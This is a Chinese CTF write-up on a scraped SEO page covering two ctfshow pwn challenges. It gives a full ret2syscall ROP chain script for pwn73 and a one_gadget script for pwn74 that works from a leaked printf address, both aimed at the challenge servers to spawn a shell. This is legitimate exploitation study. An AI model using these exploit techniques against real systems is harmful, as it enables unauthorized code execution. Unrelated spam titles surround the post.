当前位置: 首页 > wzjs >正文

大型门户网站设计公司百度首页官网

大型门户网站设计公司,百度首页官网,知名网站设计,供应链网站制作目录 一、pwn73(愉快的尝试一下一把梭吧!) 二、pwn74(噢?好像到现在为止还没有了解到one_gadget?) 前言: 抽空闲时间继续学习,记录了两道题,pwn74卡了几天哈哈。 一、pwn73(愉快的尝试一下一把梭吧!) …

目录

一、pwn73(愉快的尝试一下一把梭吧!)

二、pwn74(噢?好像到现在为止还没有了解到one_gadget?)


前言:

抽空闲时间继续学习,记录了两道题,pwn74卡了几天哈哈。


一、pwn73(愉快的尝试一下一把梭吧!)

一把梭,先checksec:

[*] '/home/kali/桌面/ctfshoww/pwn73'Arch:       i386-32-littleRELRO:      Partial RELROStack:      No canary foundNX:         NX enabledPIE:        No PIE (0x8048000)Stripped:   No

可恶。NX

一看到有gets就用pwndbg计算了一下偏移:

offset = 28

接下来试一下用ret2syscall绕过NX。

先ROPgadget找几个需要设置的寄存器,这道题需要多次系统调用。

0x080b81c6 : pop eax ; ret0x0806f050 : pop edx ; pop ecx ; pop ebx ; ret0x0806cc25 : int 0x80

来试试一把梭,就是用

ROPgadget --binary pwn73 --ropchain

帮助我们搞一条ROP链,简直不要太爽。

#!/usr/bin/env python3
# execve generated by ROPgadgetfrom struct import pack# Padding goes here
p = b''p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

直接作为payload

from pwn import *
from struct import packcontext(arch="i386",log_level="debug")
io=remote("pwn.challenge.ctf.show",28192)
p = b'a'*28p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p+= pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80io.sendline(p)
io.interactive()


二、pwn74(噢?好像到现在为止还没有了解到one_gadget?)

┌──(kali㉿kali)-[~/桌面/ctfshoww]
└─$ checksec --file=pwn74
[*] '/home/kali/桌面/ctfshoww/pwn74'Arch:       amd64-64-littleRELRO:      Full RELROStack:      Canary foundNX:         NX enabledPIE:        PIE enabledStripped:   No

这保护开的我害怕。

提示需要我们先了解一下one_gadget:
one_gadget 是一个用于查找 libc 中可以直接执行 execve("/bin/sh", NULL, NULL) 的代码片段(即 “one-gadget”)的工具。这些代码片段在满足特定条件后可以直接用于获取 shell,而无需额外构造复杂的 ROP(Return-Oriented Programming,返回导向编程)链。

工作原理

one_gadget 通过分析 libc 文件,查找其中可以执行 execve 系统调用的代码片段。这些片段通常位于 libc 的某些特定函数中,例如 system 函数的实现代码。使用时,需要知道目标程序所使用的 libc 版本,并且能够泄露 libc 的基址。

one_gadget 是用 Ruby 编写的,因此需要先安装 Ruby 环境,然后通过 Ruby 的包管理器 gem 安装:

sudo apt install rubysudo apt install ruby-devsudo gem install one_gadget

接下来查一下libc版本:

libc database search

execve=0xeafab

然后利用libcret2里的知识,计算地址。

程序会输出一个printf的地址,利用它计算基地址。

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28308)
libc=ELF("/home/kali/桌面/ctfshoww/libc-2.30-3-x86_64.so")
execve=0xeafab
p.recvuntil("this:")
printfar=eval(p.recvuntil("?",drop=True))
base=printfar-libc.sym['printf']
execve_t=execve+base
p.sendline(str(execve_t))
p.interactive()

没打出来(悲),libc版本不太对。

好啦(时隔多日),补充一下,过了好几天才找到了,ctfshow常用的libc文件,终于查到地址了:

execve=0x10a2fc

应该可以打通了:

from pwn import *
context(arch="amd64",log_level="debug")
p=remote("pwn.challenge.ctf.show",28184)
libc=ELF("/home/kali/桌面/ctfshoww/libc.so.6")
execve=0x10a2fc
p.recvuntil("this:")
printfar=eval(p.recvuntil("?",drop=True))
base=printfar-libc.sym['printf']
execve_t=execve+base
p.sendline(str(execve_t))
p.interactive()


继续学习中......

http://www.dtcms.com/wzjs/440406.html

相关文章:

  • 网站系统介绍宁波seo自然优化技术
  • 软件工程项目开发的步骤站长工具的使用seo综合查询排名
  • 徐州建网站国内搜索引擎
  • 阿里虚拟机建设网站国际新闻最新消息2022
  • 广州建网站的公司青岛官网seo公司
  • java开源代码网站南阳seo优化
  • 沈阳个人网站建设b站刺激战场视频
  • 西宁网站制作多少钱利尔化学股票
  • 网站蜘蛛怎么看seo咨询邵阳
  • 推荐做pc端网站百度会员登录入口
  • 做侵权网站用哪里的服务器网站如何推广
  • 做网站的细节软文范例大全100字
  • iis6 建设网站浏览网址大全123
  • 网站商城怎么做的seo中文全称是什么
  • 曲靖做网站建设的公司关键词优化简易
  • 个人网站模板html下载靠网络营销火起来的企业
  • 网站充值如何做post的长尾关键词搜索网站
  • 网络营销的网站定位元搜索引擎有哪些
  • 受欢迎的邢台做网站长沙网动网络科技有限公司
  • 建wiki网站长沙seo推广
  • 在模板网站建站好吗优化网站seo方案
  • 不到网站是为什么公司网站模板
  • 怎样做 云知梦 网站 付费网站上海seo公司排名榜
  • 做站长建不好网站正版搜索引擎优化
  • 特产网站建设方案企业网络推广方案
  • 河南有名的做网站公司有哪些宁波seo排名方案优化公司
  • 成都市直机关党建网站建设如何制作网页最简单的方法
  • 阜阳北京网站建设怎样让自己的网站排名靠前
  • 免费域名网站建设北京网站优化公司哪家好
  • 四川细胞库网站建设百度客户端登录